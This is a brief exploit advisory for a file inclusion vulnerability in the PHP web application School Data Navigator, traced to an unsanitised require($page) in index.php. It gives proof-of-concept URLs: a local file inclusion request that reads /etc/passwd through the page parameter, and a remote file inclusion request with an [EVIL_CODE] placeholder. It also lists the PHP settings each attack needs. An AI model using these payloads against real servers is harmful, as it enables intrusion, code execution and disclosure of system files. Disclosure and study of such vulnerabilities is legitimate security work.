---------------------------------------------------------------------------------------------------- Name : School Data Navigator Site : http://sourceforge.net/projects/school-data-nav/ Down : http://216.92.6.173/data_navigator/app_and_readme.zip ---------------------------------------------------------------------------------------------------- Found By : br0ly Made in : Brasil Contact : br0ly[dot]Code[at]gmail[dot]com ---------------------------------------------------------------------------------------------------- Description: Bug : Local/Remote File Inclusion Look this: index.php:48: require($page); The variable was not declared properly. If allow_url_fopen=on --> RFI; If magic_quotes_gpc=off --> LFI; ---------------------------------------------------------------------------------------------------- P0c: LFI:http://localhost/Scripts/app_and_readme/navigator/index.php?page=/etc/passwd RFI: http://localhost/Scripts/app_and_readme/navigator/index.php?page=[EVIL_CODE] OBS: need register_globals=on; ----------------------------------------------------------------------------------------------------